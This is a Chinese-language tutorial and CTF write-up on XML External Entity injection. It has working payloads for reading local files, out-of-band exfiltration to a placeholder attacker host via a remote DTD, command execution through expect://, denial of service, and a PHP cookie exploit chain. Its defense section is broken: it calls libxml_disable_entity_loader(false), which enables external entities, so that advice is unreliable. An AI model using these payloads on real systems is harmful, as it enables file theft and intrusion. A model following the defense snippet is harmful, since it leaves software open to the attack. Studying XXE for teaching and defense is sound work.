目录

XXE 漏洞相关

XXE 漏洞相关

1 定义与原理

1.1 XXE 定义

XXE 漏洞全称 XML External Entity Injection,XML 外部实体注入漏洞,XXE 漏洞发生在应用程序解析 XML 输入时,没有禁止外部实体的加载,导致可加载恶意外部文件,造成文件读取、内网端口扫描、攻击内网网站发起 dos 攻击等危害。

1.2 XML 基础

1.2.1 XML 定义

文档标记语言,XML 文档结构包括 XML 声明、DTD 文档类型定义(可选)、文档元素

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
<!-- 声明信息 -->
<?xml version="1.0" encoding="UTF-8" ?>

<scores>
    <student id="s1">
        <name>hacker</name>
        <course>C++</course>
        <score>95</score>
    </student>
</scores>

1.2.2 DTD 定义

DTD - Document Type Definition 文档类型定义,利用 DTD 定义 XML 文档中有哪些模块以及模块中有哪些内容(类比强类型语言)。

在 XML 文件中定义内部 DTD:

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
<!-- 声明信息 -->
<?xml version="1.0" encoding="UTF-8" ?>

<!-- 定义内部 DTD -->
<!DOCTYPE scores [
    <!ELEMENT scores (student+) >
    <!ELEMENT student (name, course, score) >
    <!ATTLIST student id CDATA #REQUIRED >
    <!ELEMENT course (#PCDATA)>
    <!ELEMENT name (#PCDATA)>
    <!ELEMENT score (#PCDATA)>
]>

<scores>
    <student id="s1">
        <name>hacker</name>
        <course>C++</course>
        <score>90</score>
    </student>
</scores>

PCDATA 的意思是被解析的字符数据

引用外部实体:

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
<!-- 声明信息 -->
<?xml version="1.0" encoding="UTF-8" ?>

<!-- 引用外部 DTD -->
<!DOCTYPE scores SYSTEM "scores.dtd">

<scores>
    <student id="s1">
        <name>hacker</name>
        <course>C++</course>
        <score>90</score>
    </student>
</scores>

scores.dtd 文件内容:

1
2
3
4
5
6
7
8
<!-- 声明信息 -->
<?xml version="1.0" encoding="UTF-8" ?>
<!ELEMENT scores (student+) >
<!ELEMENT student (name, course, score) >
<!ATTLIST student id CDATA #REQUIRED >
<!ELEMENT course (#PCDATA)>
<!ELEMENT name (#PCDATA)>
<!ELEMENT score (#PCDATA)>

2 XML 实体注入

在 DTD 中可以定义实体(类比编程语言中的常量),定义的实体可以在 xml 中引用,经过 XML 解析器解析后,实体就会被替换成定义的文本内容。

引用实体的格式为:&实体名;

当引用了一个外部实体后,就可能存在一定的问题,下面的代码是一个引用外部实体的例子:

1
2
3
4
5
<?xml version="1.0"?>
<!DOCTYPE demo[
    <!ENTITY content SYSTEM "file:///etc/password">
]>
<demo>&content;</demo>

因此,XML 漏洞主要是由于外部实体可以解析外部文件的特性。

参数实体:

参数实体只用于 DTD 和文档的内部子集中,XML 的规范定义中,只有在 DTD 中才能引用参数实体。参数实体的声明和引用都是以百分号 %。并且参数实体的引用在 DTD 是理解解析的,替换文本将变成 DTD 的一部分。该类型的实体用“%”字符(或十六进制编码的 %)。

参数实体只能用在 DTD 中。

1
2
3
4
5
6
7
8
9
<?xml version="1.0"?>
<!DOCTYPE root[
    <!ELEMENT root (message) >
    <!ENTITY % param1 "<!ENTITY internal 'http://xxx.com'>">
    %param1;
]>
<root>
<message>&internal;</message>
</root>

参数实体常用在无回显的 XXE 中。

3 XXE 危害

3.1 读取任意文件

3.1.1 有回现

以 vulhub 上的靶场为例:

https://geekby.oss-cn-beijing.aliyuncs.com/MarkDown/20190115153320.png-water_print

payload:

1
2
3
4
5
6
7
<?xml version="1.0" encoding="utf-8"?>
<!DOCTYPE root [
<!ELEMENT name ANY >
<!ENTITY data SYSTEM "file:///etc/passwd">]>
<root>
  <name>&data;</name>
</root>

3.1.2 无回显

blind xxe 的原理很简单,就是建立一条带外信道提取数据,利用外部实体中的 URL 发出访问,利用攻击者的公网主机接收数据,从而达到数据的读取。

攻击者向存在 XXE 漏洞的服务器发送了一条 payload,这个 payload 的功能是查找服务器本机某个文件,然后向攻击者的服务器请求一条 URL 请求,获取这个恶意的 DTD 内容,当存在漏洞的服务器读取到这个 DTD 的内容为把一开始自己找的本地的那个文件内容做为参数去传递给攻击者服务器的这个 php 文件,这个 php 的文件是把获取的这个参数本地保存下来,从而,就这样的得到了回显的内容。

payload:

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
<?xml version="1.0" encoding="utf-8"?>
<!DOCTYPE foo [
<!ELEMENT foo ANY>
<!ENTITY % evil SYSTEM "file:///etc/passwd">
    <!-- 或者以伪协议编码形式读取 php://filter/read=convert.base64-encode/resource=conf.php -->
<!ENTITY % xxe SYSTEM "http://IP/dtd.xml">
%xxe;
%all;
]>
<foo>&send;</foo>

dtd.xml

1
<!ENTITY % all "<!ENTITY send SYSTEM 'http://IP/receive.php?p=%evil;'>">

在内部 DTD 里, 参数实体引用只能和元素同级而不能直接出现在元素声明内部,否则parser 会报错: PEReferences forbidden in internal subset

3.2 执行命令

需要安装 expect 扩展

1
2
3
4
5
6
7
<?xml version="1.0" encoding="utf-8"?>
<!DOCTYPE xxe [
<!ELEMENT name ANY >
<!ENTITY xxe SYSTEM "expect://id">]>
<xxe>
  <name>&xxe;</name>
</xxe>

3.3 拒绝服务攻击

1
2
3
4
5
6
7
<?xml version="1.0" encoding="utf-8"?>
<!DOCTYPE xxe [
<!ELEMENT name ANY >
<!ENTITY xxe SYSTEM "file:///dev/random">]>
<xxe>
  <name>&xxe;</name>
</xxe>

4 CTF 题目

4.1 DEMO 1

http://web.jarvisoj.com:9882

题目描述:请获取 /home/ctf/flag.txt 下的内容

访问 web,点击 Go,在 burpsuite 中抓到请求包

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
POST /api/v1.0/try HTTP/1.1
Host: web.jarvisoj.com:9882
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.16; rv:84.0) Gecko/20100101 Firefox/84.0
Accept: */*
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Accept-Encoding: gzip, deflate
Content-Type: application/json
Content-Length: 36
Origin: http://web.jarvisoj.com:9882
Connection: close
Referer: http://web.jarvisoj.com:9882/

{"search":"type sth!","value":"own"}

将 Content-Type 改为 application/xml,提交 poc:

https://geekby.oss-cn-beijing.aliyuncs.com/MarkDown/20190115160754.png-water_print

4.2 DEMO 2

源码:

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
<?php
  function __autoload($cls) {
    include $cls;
  }

  class Black {
    public function __construct($string, $default, $keyword, $store) {
      if ($string) ini_set("highlight.string", "#0d0d0d");
      if ($default) ini_set("highlight.default", "#0d0d0d");
      if ($keyword) ini_set("highlight.keyword", "#0d0d0d");

      if ($store) {
            setcookie('theme', "Black-".$string."-".$default."-".$keyword, 0, '/');
      }
    }
  }

  class Green {
    public function __construct($string, $default, $keyword, $store) {
      if ($string) ini_set("highlight.string", "#00fb00");
      if ($default) ini_set("highlight.default", "#00fb00");
      if ($keyword) ini_set("highlight.keyword", "#00fb00");

      if ($store) {
            setcookie('theme', "Green-".$string."-".$default."-".$keyword, 0, '/');
      }
    }
  }

  if ($_=@$_GET['theme']) {
    if (in_array($_, ["Black", "Green"])) {
      if (@class_exists($_)) {
        ($string = @$_GET['string']) || $string = false;
        ($default = @$_GET['default']) || $default = false;
        ($keyword = @$_GET['keyword']) || $keyword = false;

        new $_($string, $default, $keyword, @$_GET['store']);
      }
    }
  } else if ($_=@$_COOKIE['theme']) {
    $args = explode('-', $_);
    if (class_exists($args[0])) {
      new $args[0]($args[1], $args[2], $args[3], '');
    }
  } else if ($_=@$_GET['info']) {
    phpinfo();
  }

  highlight_file(__FILE__);

可以看到在根据 cookie 加载主题类的地方没有判断 cookie 是否被篡改,导致我们可以实例化任意类 new $args[0]($args[1], $args[2], $args[3], '');

寻找内置的 php 原生类,且该类的实例化参数要与 $args[0]($args[1], $args[2], $args[3], '') 相对应,类 SimpleXMLElement 符合上述要求。

因此可以通过 Blind XXE 读取 /flag.php 文件

payload:

Cookie:theme=SimpleXMLElement-http://ip/xxe.xml-2-true

远端 xxe.xml

1
2
3
4
5
6
7
8
<?xml version="1.0" encoding="utf-8"?>
<!DOCTYPE foo [
<!ENTITY % file SYSTEM "php://filter/read=convert.base64-encode/resource=file:///flag">
<!ENTITY % remote SYSTEM "http://IP/xxe.dtd">
%remote;
%all;
]>
<foo>&send;</foo>

xxe.dtd

1
<!ENTITY % all "<!ENTITY send SYSTEM 'http://IP/receive.php?file=%file;'>">

5 防御

使用开发语言提供的禁用外部实体的方法

PHP libxml 版本低于 2.9.1 默认开启

1
2
3
<?php
libxml_disable_entity_loader (false);
?>

过滤用户提交的 XML 数据,如关键字 SYSTEM、 PUBLIC 等。